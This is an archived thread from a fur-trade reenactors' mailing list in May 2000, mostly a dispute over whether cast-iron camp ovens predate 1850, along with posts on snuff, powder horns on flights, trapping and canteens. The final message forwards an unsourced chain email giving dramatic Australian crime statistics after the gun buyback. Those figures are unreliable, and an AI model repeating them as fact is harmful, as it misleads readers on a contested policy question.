>I have just finished reading through every posting you have ever made to=20
>this group.
>
>I then spoke with Randy Kane of Fort Union.  He barely remembered who you=
=20
>are and has NO information on any cast iron artifacts found there, he=20
>referred me to Kenneth Hart, Museum Tech who he said is their best=20
>informed on material culture.  He also referenced Audrey Barnhart, curator=
=20
>as a possible source of information.  He has no idea about any modern camp=
=20
>oven cast iron, or what if any information the other two people may have=20
>on this or any other subject, he thinks he suggested you speak to the=20
>above people regarding your supposition.  The other two folks won't be=20
>available until Tuesday, I really don't see where my bothering them with=20
>this triviality is worth wasting their time.
>
>I have let several of your declarations of the appropriateness of camp=20
>ovens slide by as I am long weary of dealing with you on this topic.
>
>The sum total of your evidence, which is at best attributed to the wrong=20
>person, is repeated here below:
>
>begin quote 2/29/00 posting ...
>
>Cast iron at Ft. Union says, walt foster and Randy Kane/Historian.
>
>  1. base fragment
>  2. rim fragment wedge shape
>  3. lid fragment 14 by 35 centimeters.
>  4. lid fragment with the handle in the center
>These cast iron artifacts were dug up at the Fort Union Trading Post.
>Walt
>Park City, Montana
>
>end quote 2/29/00 ...
>
>Do I really need to comment further?
>
>At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:
>
>Everybody knows that the Dutch ...
>
>
>There is nothing that everybody knows!
>
>I have yet to see any credible evidence that camp ovens existed anywhere=20
>before the last half of the nineteenth century.  I've looked.
>
>John...

John T. Kramer, maker of:=A0

Kramer's Best Antique Improver
 >>>It makes wood wonderful<<<
=A0=A0=A0=A0=A0=A0=A0 >>>As good as old!<<<

<http://www.kramerize.com/>

mail to: <[e-mail]>

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<html>
<font size=3D3>Walt,<br>
<br>
This is John Kramer not John Funk.  <br>
<br>
When I spoke with your source, Randy Kane, I asked about "cast
iron" artifacts of which he had no knowledge.  I read him the
information as you posted it.  He had no recollection.<br>
<br>
The "modern camp oven" is my term used  to distinguish
those from all the other possible cast iron pots.<br>
<br>
The 3 legged pot, pictured on page 90 of The Collectors Encyclopedia of
The American Revolution, looks to be much deeper than what we consider a
camp oven and also would appear to have a rounded bottom.  A fairly
common old style pot.<br>
<br>
John...<br>
<br>
<br>
At 10:40 AM 5/28/00 -0600, you wrote:<br>
<br>
</font><blockquote type=3Dcite cite><font face=3D"Times New Roman, Times"=
 size=3D3 color=3D"#000080">Hello
John Funk and everybody reading this on the list world-wide,<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3 color=3D"#000080">I am
surprised he remembered me at all.  It appears you were on the right
track and then unsuccessful in getting to the same resource that I
did.  If you used any word like modern in your sentence I think it
is highly likely that you through off the Chief Historian that maybe how
we got different results.  You may consider this issue triviality
.  I would consider this information to be significant, at least for
the mountain men who operated out of The Fort Union Trading Post from
1828-1840 on the upper Yellowstone.<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3 color=3D"#000080">You =
can
see it where you would be bothering them and wasting their time if you
want to.  I think furthering good research requires a cool head,
steady hands and a consistent approach.  This time I will blaze the
trail.<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3 color=3D"#000080">I
believe I can go back and find-furthering referencing at Ft. Union in
addition to the 4 listed artifacts I wrote down word for word over the
phone.  My supposition as you call it is based on the empirical
evidence of the 4 artifacts now in question.  <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3 color=3D"#000080">Rain=
ing
hard here in the Red Lodge country you said was so hot when you were
here, the last time we talked.  Snow and cold in the mountains and
trappers would still be able to take good beaver from the high country
streams.  Camp meat skins, particularly deer are suitable to make up
hoop strings for stretching and drying beaver pelts.  Easy way to
make rawhide into lacing material is to take a hawk or camp axe and drive
it into a piece of fire wood big enough to hold it steady.  Drive a
knife blade in along side about 7/16 to 5/16 of an inch apart.  Take
a piece of rawhide and cut it into a circle about the diameter of the
span of your little finger to the out spread width of your thumb.
Making it about 9 inches in diameter.  Start a cut the width of the
space between the 2 blades and start pulling.  When you get the hang
of it a trapper can make up a lot of hoop strings out of rawhide with or
without hair on the deer hides as needed in a short period of time to
hoop beaver.  I also think that if the sun was shinning bright the
trappers who were working the river bottoms where they could drive pegs
into the ground may have had no need of hoops.   I prefer to
think of it as we are covering the same ground looking for the same thing
not that your dealing with me.<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3 color=3D"#000080">Have=
 a
good day and we will see what turns up along the trail.<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080">Walt<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3 color=3D"#000080">Park
City, Montana<br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3=
 color=3D"#000080"> <br>
</font><font size=3D3><br>
</font><font face=3D"Times New Roman, Times" size=3D3> <br>
</font><br>
<font face=3D"Times New Roman, Times" size=3D3> <br>
</font><br>
<font face=3D"Times New Roman, Times" size=3D3><br>
<br>
Walt,<br>
<br>
I have just finished reading through every posting you have ever made to
this group.<br>
<br>
I then spoke with Randy Kane of Fort Union.  He barely remembered
who you are and has NO information on any cast iron artifacts found
there, he referred me to Kenneth Hart, Museum Tech who he said is their
best informed on material culture.  He also referenced Audrey
Barnhart, curator as a possible source of information.  He has no
idea about any modern camp oven cast iron, or what if any information the
other two people may have on this or any other subject, he thinks he
suggested you speak to the above people regarding your supposition.
The other two folks won't be available until Tuesday, I really don't see
where my bothering them with this triviality is worth wasting their
time.  <br>
<br>
I have let several of your declarations of the appropriateness of camp
ovens slide by as I am long weary of dealing with you on this
topic.   <br>
<br>
The sum total of your evidence, which is at best attributed to the wrong
person, is repeated here below:<br>
<br>
begin quote 2/29/00 posting ...<br>
<br>
</font><font face=3D"arial" size=3D2>Cast iron at Ft. Union says, walt foste=
r
and Randy Kane/Historian.<br>
</font><font size=3D3> <br>
</font><font face=3D"arial" size=3D2> 1. base fragment<br>
 2. rim fragment wedge shape<br>
 3. lid fragment 14 by 35 centimeters.  <br>
 4. lid fragment with the handle in the center<br>
These cast iron artifacts were dug up at the Fort Union Trading
Post.  <br>
Walt<br>
Park City, Montana<br>
</font><font size=3D3> <br>
end quote 2/29/00 ...<br>
<br>
Do I really need to comment further?<br>
<br>
At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:<br>
<br>
</font><font face=3D"Times New Roman, Times" size=3D3>Everybody knows that
the Dutch ...<br>
</font><br>
<font face=3D"Times New Roman, Times" size=3D3><br>
There is nothing that everybody knows!<br>
<br>
I have yet to see any credible evidence that camp ovens existed anywhere
before the last half of the nineteenth century.  I've looked. <br>
<br>
John...<br>
</font></blockquote><br>
<div>John T. Kramer, maker of:=A0</div>
<br>
<div>Kramer's Best Antique Improver</div>
<div>>>>It makes wood wonderful<<<</div>
<div>=A0=A0=A0=A0=A0=A0=A0 >>>As good as old!<<<</div>
<br>
<div><<a href=3D"http://www.kramerize.com/"=
 EUDORA=3DAUTOURL>http://www.kramerize.com/</a>></div>
<br>
<div>mail to: <[e-mail]> </div>
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From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: "smell powder"
Date: 28 May 2000 19:54:27 -0500

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What's the problem?  Lots of folks dipped snuff back then.

John...


At 08:26 PM 5/28/00 -0400, you wrote:
>Hallo the List,
>
>In "Forty Years a Fur Trader", Charles Larpenteur (on page 8) writes;
>"....and toward evening he got so drunk himself that he frequently asked me
>if I did not want to "smell powder", but as I never felt like smelling powder
>as he proposed, I declined, not knowing why he used the expression."
>
>Now....I may have been born at night,.... but not last night..... so I'm
>thinkin he's not referring to black powder! Anyone know of just how wide
>spread this was? Selling whiskey to the Injuns sounds honorable....
>
>Ymos,
>Steve
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

Use it up, wear it out, make do, or do without.
John Kramer  <[e-mail]>
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<html>
<font size=3>What's the problem?  Lots of folks dipped snuff back
then.<br>
<br>
John...<br>
<br>
<br>
At 08:26 PM 5/28/00 -0400, you wrote:<br>
<blockquote type=cite cite>Hallo the List,<br>
<br>
In "Forty Years a Fur Trader", Charles Larpenteur (on page 8)
writes; <br>
"....and toward evening he got so drunk himself that he frequently
asked me <br>
if I did not want to "smell powder", but as I never felt like
smelling powder <br>
as he proposed, I declined, not knowing why he used the
expression."<br>
<br>
Now....I may have been born at night,.... but not last night..... so I'm
<br>
thinkin he's not referring to black powder! Anyone know of just how wide
<br>
spread this was? Selling whiskey to the Injuns sounds honorable....<br>
<br>
Ymos,<br>
Steve <br>
<br>
----------------------<br>
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<a href="http://www.xmission.com/~drudy/mtman/maillist.html" eudora="autourl">http://www.xmission.com/~drudy/mtman/maillist.html</a></font></blockquote><br>
<div>Use it up, wear it out, make do, or do without.</div>
John Kramer  <[e-mail]>
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From: tom roberts <[e-mail]>
Subject: MtMan-List: Powderhorn as airline baggage - last call
Date: 28 May 2000 21:53:21 -0400

So there's the straight scoop from the guy who's butt is in
the saddle.  No better source for facts.  Thanks, and if no
one objects I make a motion this topic be closed.

Tom

[e-mail] wrote:

> Hallo the List,
>
> I've been following this line for a while, and being an air line pilot, I do
> have an interest. Black powder is NOT, as most know, allowed on passenger
> flights. Your powder horn, very empty, is, and I'd suggest using air pressure
> to blow the inside of the horn clean. You only get to blow the tail, or
> belly, off an airplane once.... so buy your black powder at your destination.
>
> Most have by now, heard of the brain dead woman from Alaska that put a loaded
> hand gun in her checked baggage and blew a hole through a perfectly good
> plane.... that kinda stuff scares me....
>
> Ymos,
>
> Magpie
>
> ----------------------
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From: [e-mail]
Subject: MtMan-List: Waugh! For Mountain Doins
Date: 29 May 2000 02:09:45 EDT

Hello in the camp
 Looks like a lot of you weren't able to get out this weekend. I sure had a
lot of mail piled up. Just got back from our depredation trapping camp on the
Henry's Fork of the Snake River. Our camp was no more then a quarter mile
from the site of the 1810 Fort Henry. Three Rocks were found at this site in
the 1920s one read "Fort Henry" the other two read 'Gov. Camp H. Well 1811"
and "Al the cook with nothing to cook." Seems them boys did not fair as will
as we did. Must have been a hard winter that year or something. Cause there
sure is a lot of game in these River bottoms now! Friday Mike Powell, Bill
Varga, and I got our camp set up and six traps in the water by night fall.
Allen Hall show up shortly there after just in time for dinner. The man does
have a nose for food. Next morning we had three traps sprung two with peace's
parts left in them. We adjusted our traps by lowering the pans witch would
help to get more of the foot in the trap. Reset them and put six more traps
in the water.  Then head out for Falls River where we had an another trapping
spot lined up. On the way Bill spotted a Camas field and all hands went to
work gathering dinner. We later stem baked them with Plantain leaves warped
around them that we gathered at camp. We also stop at Camp Henry where Henry
and the other half of his men wintered. Here more rocks were found and two of
them still are at the site one is marked "Camp Henry Sept. 1810 "and the
other has "LC" on it there was two other rocks found in the area. One has all
the men's names on it that stayed at Camp Henry it and the others from Fort
Henry are now in Boise in the museum there. We set six more traps on the
Falls River and went back to camp. This morning Allen found a big beaver in
one of the traps Mike and him had set. Mike and Bill stayed in camp to take
care of it. While Allen and I went to Falls River to check those traps. We
found a Beaver in one of the traps and a raccoon in another one of the traps
that Bill and I had set. I could go on and on about this camp and what we
seen and did but not here and now.
                                 See ya on the trail
                                  Crazy Cyot

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From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: Date: Fri, 26 May 2000 15:59:45 -0500
Date: 29 May 2000 06:15:58 -0500

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Bill,

I appreciate your review of Ragsdale, the only other postings on his book I
thought mentioned no source references for his conclusions, hence I had not
made acquiring his publication a priority.  Frankly I had considered it a
book he wrote to help sell his cookbooks to tourists.

I have been searching numerous other sources and find it curious that
Ragsdale is the only reference anyone can find.   I can find cast iron
waffle irons, several variants of a few general styles of cast cook pots,
porringers, mortars, tea kettles, trivets, andirons, and lots more; I can't
find any early examples or evidence of camp ovens.  It is evident once you
start looking that the abundant wide variety and high quality cast iron
didn't happen until the last half of the nineteenth century.

The mention of a dutch oven in literature or journals is of no value to
determining if something looks like a camp oven nor even whether or not
that something is made of cast iron.  Unless the reference is specific as
to type and construction it isn't relevant -- as we've previously
determined that there are at least three possible valid and distinct
definitions for the term "dutch oven" during our period of interest, at
least two of which have nothing to do with cast iron.

I have spent about half of today searching again for something concrete
that states Paul Revere designed what I refer to as a modern camp
oven.  Everything is qualified as legend or references back to Ragsdale.  I
can find no confirming information that does not point to Ragsdale, or
attribute it to legend.  I cannot identify the source of the legend, or can I?

I can find plenty about Revere's foundry which mention nails, bolts, bells
and cannon barrels among other items, nothing about cast iron pots or
cookware of any description.  He is noted for his rolling mill and
production of sheet copper.  You're right the Revere House web site is very
disjointed.  I have no recollection of anything regarding cast iron when I
visited Revere's house.  I found a lot of other information on Revere in
other locations.  (Thanks for the Google tip Lanney)

Nothing I've found yet is better than  wash day gossip about old Paul and
dutch ovens.  Modern Revereware alludes to his sheet copper mill and its
success.  It is the only thing other than his silver work which seems to
have anything to do with Paul Revere food and cooking that I can find.

As early examples of many other styles of pots, kettles and other goods
remain fairly common for their age it is curious none seem to exist for the
early camp oven anywhere but in Ragsdale's book.

I own the closest thing I've seen and it shows no evidence of ever having
had a lid.  See photo I posted of my cast three legged skillet; along with
the discussion of sprue marks, as indicators of age, in the previous thread
on this subject.

As the previous discussions were ending I added the book "Antique Iron,
Survey of American and English forms, fifteeenth through nineteenth
centuries" by Herbert, Peter, and Nancy Schiffer; instead of Ragsdale; to
my collection.  I am happy to hear he has source references so maybe I'll
get a copy and see if I can figure out how he came to his
conclusions.   The Schiffers showed everything but...

In again reviewing the 2 dozen or so volumes I have at hand, which deal
with a variety of metal and or kitchen goods of the period, in addition to
many hours searching other sources, I haven't yet found separate
confirmation of the mere existence of the camp oven form prior to 1840 or 50.

If they were "widespread" in 1804 it seems like there ought to be a few
left.  As they are so legendary why aren't the books on kitchen and metal
antiques replete with examples?  They show examples of nearly everything
else little of which approaches widespread name recognition or the
legendary status of a "camp/dutch oven"?

I am suspicious of Ragsdale because I can't find confirmation.  His
wouldn't be the first book of hyperbolae.

I think its called effective marketing.

John...

You can get Idaho potatoes from Idaho, Key lime pie in the Keys, hamburgers
in Hamburg, KC barbecue in KC, NY strips in NY, Buffalo wings in Buffalo
and Philly steak in Philadelphia, you can't get baked beans in the
restaurants of Boston.  Don't you think that's curious for a place called
bean town?



At 09:09 AM 5/28/00 -0600, you wrote:
>John, I'm sort'a glad you asked that question. It took me a while to
>remember what I looked at. When all the hullabaloo about the ovens died
>down I was still scratching my head over it. I had ordered John G.
>Ragsdale's book, Dutch Ovens Chronicled, through interlibrary loan and it
>came in after everyone quit arguing about the things. Well, I read it
>anyway. It is quite a book, has lots of photos of original Dutch ovens and
>shows the changes that have taken place. Many of what he shows were in
>Michigan in the early 1800s, as well as in the "Colonies," before that.
>Briefly, here is part of what he says: In 1704 a man named Abraham Darby
>went from England to Holland to check out the Dutch casting process in
>which they cast brass vessels in dry sand molds. He went back to England
>and experimented with the process and eventually patented a casting
>process using a better type of molding sand and a process of baking the
>mold to improve casting smoothness. He then began casting pots and shipped
>them to the Colonies and the rest of the world. Darby thinks maybe the
>name Dutch Oven may have dreived from the original Dutch process for
>casting metal pots, but others believe it came from the Dutch peddlers.
>Still others believe that the name came from the Dutch settlers in Penn.
>who used similar cast iron pots and kettles.
>Ragsdale says that cast metal pots have been in use since the seventh
>century. The oven of today has evolved over the years as various
>manufacturers made refinements and improvements over the previous
>versions. The shape of the ears and the length and thickness of the legs
>seem the most often changed. The lid also has seen changes ranging from
>rounded to flat and from no lip to various shapes.  But the photos he
>includes show the "kettle" as it was often called, with slanted sides,
>ears, legs, and bails.
>This is an interesting book, and, if I remember right, can still be
>obtained. I seem to recall many references to Dutch ovens being in
>widespread use in 1804, and certainly not much different in material and
>shape from the one Lodge turns out.
>
>Did the mountain men use it as part of their camp equipment? There is no
>proof of it. Was it around - would they have known what it was? Probably.
>Was it at rendezvous? Again, no proof, unless someone wants to inventory
>Stewart's gear and see if they can find a reference to an iron Kettle and
>then argue that point. Was it at some of the forts? Perhaps.
>
>Anyway, you might want to check out Ragsdale's book. He includes diary
>extracts that are interesting and fun. His bibliography has documents you
>may never have heard of before and could lead you into many an other
>artifact chase.
>
>Bill C

___________________________________
If Microsoft was plumbing -- it wouldn't pass code.



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<font size=3>Bill,<br>
<br>
I appreciate your review of Ragsdale, the only other postings on his book
I thought mentioned no source references for his conclusions, hence I had
not made acquiring his publication a priority.  Frankly I had
considered it a book he wrote to help sell his cookbooks to
tourists.  <br>
<br>
I have been searching numerous other sources and find it curious that
Ragsdale is the only reference anyone can find.   I can find
cast iron waffle irons, several variants of a few general styles of cast
cook pots, porringers, mortars, tea kettles, trivets, andirons, and lots
more; I can't find any early examples or evidence of camp ovens.  It
is evident once you start looking that the abundant wide variety and high
quality cast iron didn't happen until the last half of the nineteenth
century.<br>
<br>
The mention of a dutch oven in literature or journals is of no value to
determining if something looks like a camp oven nor even whether or not
that something is made of cast iron.  Unless the reference is
specific as to type and construction it isn't relevant -- as we've
previously determined that there are at least three possible valid and
distinct definitions for the term "dutch oven" during our
period of interest, at least two of which have nothing to do with cast
iron.  <br>
<br>
I have spent about half of today searching again for something concrete
that states Paul Revere designed what I refer to as a modern camp
oven.  Everything is qualified as legend or references back to
Ragsdale.  I can find no confirming information that does not point
to Ragsdale, or attribute it to legend.  I cannot identify the
source of the legend, or can I?<br>
<br>
I can find plenty about Revere's foundry which mention nails, bolts,
bells and cannon barrels among other items, nothing about cast iron pots
or cookware of any description.  He is noted for his rolling mill
and production of sheet copper.  You're right the Revere House web
site is very disjointed.  I have no recollection of anything
regarding cast iron when I visited Revere's house.  I found a lot of
other information on Revere in other locations.  (Thanks for the
Google tip Lanney)   <br>
<br>
Nothing I've found yet is better than  wash day gossip about old
Paul and dutch ovens.  Modern Revereware alludes to his sheet copper
mill and its success.  It is the only thing other than his silver
work which seems to have anything to do with Paul Revere food and cooking
that I can find.<br>
<br>
As early examples of many other styles of pots, kettles and other goods
remain fairly common for their age it is curious none seem to exist for
the early camp oven anywhere but in Ragsdale's book.  <br>
<br>
I own the closest thing I've seen and it shows no evidence of ever having
had a lid.  See photo I posted of my cast three legged skillet;
along with the discussion of sprue marks, as indicators of age, in the
previous thread on this subject. <br>
<br>
As the previous discussions were ending I added the book "Antique
Iron, Survey of American and English forms, fifteeenth through nineteenth
centuries" by Herbert, Peter, and Nancy Schiffer; instead of
Ragsdale; to my collection.  I am happy to hear he has source
references so maybe I'll get a copy and see if I can figure out how he
came to his conclusions.   The Schiffers showed everything
but...  <br>
<br>
In again reviewing the 2 dozen or so volumes I have at hand, which deal
with a variety of metal and or kitchen goods of the period, in addition
to many hours searching other sources, I haven't yet found separate
confirmation of the mere existence of the camp oven form prior to 1840 or
50.  <br>
<br>
If they were "widespread" in 1804 it seems like there ought to
be a few left.  As they are so legendary why aren't the books on
kitchen and metal antiques replete with examples?  They show
examples of nearly everything else little of which approaches widespread
name recognition or the legendary status of a "camp/dutch
oven"? <br>
<br>
I am suspicious of Ragsdale because I can't find confirmation.  His
wouldn't be the first book of hyperbolae.  <br>
<br>
I think its called effective marketing.<br>
<br>
John...<br>
<br>
You can get Idaho potatoes from Idaho, Key lime pie in the Keys,
hamburgers in Hamburg, KC barbecue in KC, NY strips in NY, Buffalo wings
in Buffalo and Philly steak in Philadelphia, you can't get baked beans in
the restaurants of Boston.  Don't you think that's curious for a
place called bean town?<br>
<br>
<br>
<br>
At 09:09 AM 5/28/00 -0600, you wrote:<br>
</font><blockquote type=cite cite><font size=2>John, I'm sort'a glad you
asked that question. It took me a while to remember what I looked at.
When all the hullabaloo about the ovens died down I was still scratching
my head over it. I had ordered John G. Ragsdale's book, Dutch Ovens
Chronicled, through interlibrary loan and it came in after everyone quit
arguing about the things. Well, I read it anyway. It is quite a book, has
lots of photos of original Dutch ovens and shows the changes that have
taken place. Many of what he shows were in Michigan in the early 1800s,
as well as in the "Colonies," before
that.</font><font size=3><br>
</font><font size=2>Briefly, here is part of what he says: In 1704 a man
named Abraham Darby went from England to Holland to check out the Dutch
casting process in which they cast brass vessels in dry sand molds. He
went back to England and experimented with the process and eventually
patented a casting process using a better type of molding sand and a
process of baking the mold to improve casting smoothness. He then began
casting pots and shipped them to the Colonies and the rest of the world.
Darby thinks maybe the name Dutch Oven may have dreived from the original
Dutch process for casting metal pots, but others believe it came from the
Dutch peddlers. Still others believe that the name came from the Dutch
settlers in Penn. who used similar cast iron pots and
kettles.</font><font size=3><br>
</font><font size=2>Ragsdale says that cast metal pots have been in use
since the seventh century. The oven of today has evolved over the years
as various manufacturers made refinements and improvements over the
previous versions. The shape of the ears and the length and thickness of
the legs seem the most often changed. The lid also has seen changes
ranging from rounded to flat and from no lip to various shapes.  But
the photos he includes show the "kettle" as it was often
called, with slanted sides, ears, legs, and bails.
</font><font size=3><br>
</font><font size=2>This is an interesting book, and, if I remember
right, can still be obtained. I seem to recall many references to Dutch
ovens being in widespread use in 1804, and certainly not much different
in material and shape from the one Lodge turns
out.</font><font size=3><br>
 <br>
</font><font size=2>Did the mountain men use it as part of their camp
equipment? There is no proof of it. Was it around - would they have known
what it was? Probably. Was it at rendezvous? Again, no proof, unless
someone wants to inventory Stewart's gear and see if they can find a
reference to an iron Kettle and then argue that point. Was it at some of
the forts? Perhaps. </font><font size=3><br>
 <br>
</font><font size=2>Anyway, you might want to check out Ragsdale's book.
He includes diary extracts that are interesting and fun. His bibliography
has documents you may never have heard of before and could lead you into
many an other artifact chase.</font><font size=3><br>
 <br>
</font><font size=2>Bill C</font><font size=3></font></blockquote><br>
<div>___________________________________</div>
<div>If Microsoft was plumbing -- it wouldn't pass code.</div>
<br>
<br>
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From: "Walt Foster" <[e-mail]>
Subject: RE: MtMan-List: Your FACTS cannot be confirmed.
Date: 29 May 2000 08:48:05 -0600

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My apologies to John Funk,

I was also advised that The Fort Union Trading Post had the capability of
recycling iron.  I have seen the term ômodern camp ovenö used in a
30-year-old book stating the same reasonùto distinguish from others.  I do
not have that book.  I will contact the National Park Service Chief
Historian again and repost the information as I get it from his employees
for the second time.  This is a very busy time of the year for our North
Dakota friends on the border of Montana.  The September event will be coming
up after the June reenactment on the Little Big Horn, the July Quiet Camp
Rendez-vous near Laurel and the Red Lodge Mountain Man Rendezvous in August,
which you have attended.  Tourists are running strong and in great numbers.
In the meantime have a great Memorial Day.
Walt


Walt,

This is John Kramer not John Funk.

When I spoke with your source, Randy Kane, I asked about "cast iron"
artifacts of which he had no knowledge.  I read him the information as you
posted it.  He had no recollection.

The "modern camp oven" is my term used  to distinguish those from all the
other possible cast iron pots.

The 3 legged pot, pictured on page 90 of The Collectors Encyclopedia of The
American Revolution, looks to be much deeper than what we consider a camp
oven and also would appear to have a rounded bottom.  A fairly common old
style pot.

John...







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<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span style=3D'font-size:12.0pt;color:navy'>My =
apologies
to John Funk,</span></font><font color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span style=3D'font-size:12.0pt;color:navy'>I =
was also
advised that The Fort Union Trading Post had the capability of recycling =
iron.<span
style=3D"mso-spacerun: yes">  </span>I have seen the term =
“modern camp oven”
used in a 30-year-old book stating the same reason—to distinguish =
from others.<span
style=3D"mso-spacerun: yes">  </span>I do not have that book.<span
style=3D"mso-spacerun: yes">  </span>I will contact the National =
Park
Service Chief Historian again and repost the information as I get it =
from his
employees for the second time.<span style=3D"mso-spacerun: yes">
</span>This is a very busy time of the year for our North Dakota friends =
on the
border of Montana.<span style=3D"mso-spacerun: yes">  </span>The =
September
event will be coming up after the June reenactment on the Little Big =
Horn, the
July Quiet Camp Rendez-vous near Laurel and the Red Lodge Mountain Man =
Rendezvous
in August, which you have attended.<span style=3D"mso-spacerun: =
yes">
</span>Tourists are running strong and in great numbers.<span
style=3D"mso-spacerun: yes">  </span>In the meantime have a great =
Memorial
Day.</span></font><font color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'>Walt</span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal><font size=3D3 color=3Dnavy face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'>Walt,<br>
<br>
This is John Kramer not John Funk.  <br>
<br>
When I spoke with your source, Randy Kane, I asked about "cast =
iron"
artifacts of which he had no knowledge.  I read him the information =
as you
posted it.  He had no recollection.<br>
<br>
The "modern camp oven" is my term used  to distinguish =
those
from all the other possible cast iron pots.<br>
<br>
The 3 legged pot, pictured on page 90 of The Collectors Encyclopedia of =
The
American Revolution, looks to be much deeper than what we consider a =
camp oven
and also would appear to have a rounded bottom.  A fairly common =
old style
pot.<br>
<br>
John...<br>
<br>
<br>
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From: tom roberts <[e-mail]>
Subject: MtMan-List: Canteens
Date: 29 May 2000 13:45:00 -0400

In between projects I've wandered through the archives and
came across a topic of interest.  I thought I would raise this
again to see if there's any new thinking.  In the "Invoice of Sundry
Merchandise from the Rocky Mountain Outfit 1836 under charge
of Fontenelle, Fitzpatrick, & Co." there is a listing for (9) India
Rubber Canteens and (28) iron bound canteens.  There's not
much other reference, which causes me to speculate (as did
earlier list members) that carrying water was just not that important
to these fellows, who probably stayed very close to what was an
abundant supply of (then) very clean water.  It is our modern outdoor
experiences and training and logic which dictates that we carry some
device for containing drinking water.  Given we make this choice,
the next question is what shall this device be to remain as correct
as possible, and I suggest that gourds and bottles would be a lesser
choice
due to their fragility.  One would then default to either the military
copper canteen or a hooped wooden canteen (am I correct to assume
this is the "iron bound canteen" in the ledger??).  Or is their another
option not considered?  Skins or bladders are certainly viable but do
not
really meet the "durability" test.  Your thoughts?

Tom


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From: "Chance Tiffie" <[e-mail]>
Subject: Re: MtMan-List: Waugh! For Mountain Doins
Date: 29 May 2000 13:47:48 PDT



Crazy,
Was curious if you were using a front foot, or rear foot set??  I would
imagine a front foot, if the trap was shallow enough for a coon to get in.
Also, I received a mailing fron the Museum of the Mountain, with a photo of
you and "Mountain Man Ken." You and the others did a fine job, and I would
like to express my personal thanks.  I will be visitmg the museum sometimes
around July 17th and look forward to seeing the rest of the exhibit.
Green with envy,
Cliff
________________________________________________________________________
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From: "Chance Tiffie" <[e-mail]>
Subject: Re: MtMan-List: "smell powder"
Date: 29 May 2000 13:51:28 PDT



I was under the impression that this type of snuff was inhaled, and was a
more gentlemanly method. A fellow AMM brother uses snuff that way here in
Oklahoma.

Cliff Tiffie
PO Box 5089
Durant, OK
74702
580-924-4187
---------------------
Aux Aliments de Pays!

________________________________________________________________________
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From: "John C. Funk, Jr." <[e-mail]>
Subject: MtMan-List: Re: NOT FUR TRADE HISTORY................interesting gun stuff
Date: 29 May 2000 14:18:23 -0700

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  ----- Original Message -----=20


  just a little information that could be interesting to you!!!!!
   >>> Learn from the mistakes of others ...
   >>> =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
   >>> It has now been 12 months since gun owners in Australia  were
   >>> forced to surrender 640,381 personal firearms to be
   >>> destroyed, a program costing the government more than $500 =
million
   >>> dollars.
   >>> And now the results are in:
   >>>
   >>> Australia-wide, homicides are up 3.2 percent;
   >>> Australia-wide, assaults are up 8.6 percent;
   >>> Australia-wide, armed robberies are up 44 percent (yes, 44 =
percent).
   >>> In the state of Victoria, homicides with firearms are up 300
   >>> percent. Figures over the previous 25 years show a steady
   >>> decrease in armed robbery with firearms (changed drastically in =
the
  past
   >>> 12 months). There has been a dramatic increase in break-ins and
  assaults
   >>> of
   >>> the elderly.
   >>>
   >>> Australian politicians are on the spot and at a
   >>> loss to explain how no improvement in "safety" has been observed
   >>> after such monumental effort and expense was successfully
